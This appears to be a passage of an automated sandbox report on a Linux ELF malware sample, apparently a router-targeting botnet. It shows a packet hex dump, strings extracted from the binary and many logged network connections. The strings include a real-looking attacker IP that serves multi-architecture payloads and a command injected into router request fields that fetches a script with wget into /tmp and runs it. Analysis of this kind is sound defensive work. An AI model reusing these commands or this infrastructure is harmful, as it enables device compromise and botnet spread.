17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 06:23:16 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/arm7;chmod
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh;
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/mips
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/mips;
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/mpsl;chmod
Source: uMqeVeoVI4.elf	String found in binary or memory: http://109.205.214.35/x86
Source: uMqeVeoVI4.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: uMqeVeoVI4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: uMqeVeoVI4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46472
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44294
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57126
Source: unknown	Network traffic detected: HTTP traffic on port 40202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34496
Source: unknown	Network traffic detected: HTTP traffic on port 45570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34492
Source: unknown	Network traffic detected: HTTP traffic on port 53202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52918
Source: unknown	Network traffic detected: HTTP traffic on port 50532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57370
Source: unknown	Network traffic detected: HTTP traffic on port 40328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51838
Source: unknown	Network traffic detected: HTTP traffic on port 33712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37752
Source: unknown	Network traffic detected: HTTP traffic on port 56080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60782
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45128
Source: unknown	Network traffic detected: HTTP traffic on port 57416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52936
Source: unknown	Network traffic detected: HTTP traffic on port 59678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 43502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 44096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43176
Source: unknown	Network traffic detected: HTTP traffic on port 40832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42080
Source: unknown	Network traffic detected: HTTP traffic on port 57518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34458
Source: unknown	Network traffic detected: HTTP traffic on port 60782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58498
Source: unknown	Network traffic detected: HTTP traffic on port 56538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57162
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47528
Source: unknown	Network traffic detected: HTTP traffic on port 53788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48694
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44096
Source: unknown	Network traffic detected: HTTP traffic on port 44590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58420
Source: unknown	Network traffic detected: HTTP traffic on port 35548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56002
Source: unknown	Network traffic detected: HTTP traffic on port 49438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36460
Source: unknown	Network traffic detected: HTTP traffic on port 33106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37796
Source: unknown	Network traffic detected: HTTP traffic on port 48070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59520
Source: unknown	Network traffic detected: HTTP traffic on port 40948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41800
Source: unknown	Network traffic detected: HTTP traffic on port 51364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34040
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60984
Source: unknown	Network traffic detected: HTTP traffic on port 56444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36690
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39956
Source: unknown	Network traffic detected: HTTP traffic on port 47478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38866
Source: unknown	Network traffic detected: HTTP traffic on port 44166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40706
Source: unknown	Network traffic detected: HTTP traffic on port 42430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56262
Source: unknown	Network traffic detected: HTTP traffic on port 39556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 43894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51810
Source: unknown	Network traffic detected: HTTP traffic on port 44050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49510
Source: unknown	Network traffic detected: HTTP traffic on port 52864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33168
Source: unknown	Network traffic detected: HTTP traffic on port 33664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46076
Source: unknown	Network traffic detected: HTTP traffic on port 37688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39300
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37368
Source: unknown	Network traffic detected: HTTP traffic on port 53778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39304
Source: unknown	Network traffic detected: HTTP traffic on port 47536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40524
Source: unknown	Network traffic detected: HTTP traffic on port 46778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60130
Source: unknown	Network traffic detected: HTTP traffic on port 45756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41850
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51674
Source: unknown	Network traffic detected: HTTP traffic on port 41106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36018
Source: unknown	Network traffic detected: HTTP traffic on port 40944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58074
Source: unknown	Network traffic detected: HTTP traffic on port 55290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49324
Source: unknown	Network traffic detected: HTTP traffic on port 44288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49320
Source: unknown	Network traffic detected: HTTP traffic on port 48608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 43516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60396
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34070
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49558
Source: unknown	Network traffic detected: HTTP traffic on port 33926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56906
Source: unknown	Network traffic detected: HTTP traffic on port 35840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 59520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39756
Source: unknown	Network traffic detected: HTTP traffic on port 51546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49306
Source: unknown	Network traffic detected: HTTP traffic on port 39498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51624
Source: unknown	Network traffic detected: HTTP traffic on port 42548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38252
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37166
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44924
Source: unknown	Network traffic detected: HTTP traffic on port 39128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49376
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36064
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 59208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44918
Source: unknown	Network traffic detected: HTTP traffic on port 47024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41886
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42734
Source: unknown	Network traffic detected: HTTP traffic on port 53696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38234
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58046
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60594
Source: unknown	Network traffic detected: HTTP traffic on port 59032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57190
Source: unknown	Network traffic detected: HTTP traffic on port 41714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54928
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52984
Source: unknown	Network traffic detected: HTTP traffic on port 39092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59384
Source: unknown	Network traffic detected: HTTP traffic on port 45200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58050
Source: unknown	Network traffic detected: HTTP traffic on port 60998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42710
Source: unknown	Network traffic detected: HTTP traffic on port 58918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41340
Source: unknown	Network traffic detected: HTTP traffic on port 42710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33712
Source: unknown	Network traffic detected: HTTP traffic on port 34070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43516
Source: unknown	Network traffic detected: HTTP traffic on port 60180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44602
Source: unknown	Network traffic detected: HTTP traffic on port 36858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45930
Source: unknown	Network traffic detected: HTTP traffic on port 60192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53334
Source: unknown	Network traffic detected: HTTP traffic on port 56176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39018
Source: unknown	Network traffic detected: HTTP traffic on port 35246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 33832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43502
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41320
Source: unknown	Network traffic detected: HTTP traffic on port 58736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32846
Source: unknown	Network traffic detected: HTTP traffic on port 33490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54678
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52258
Source: unknown	Network traffic detected: HTTP traffic on port 46900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44742 -> 443
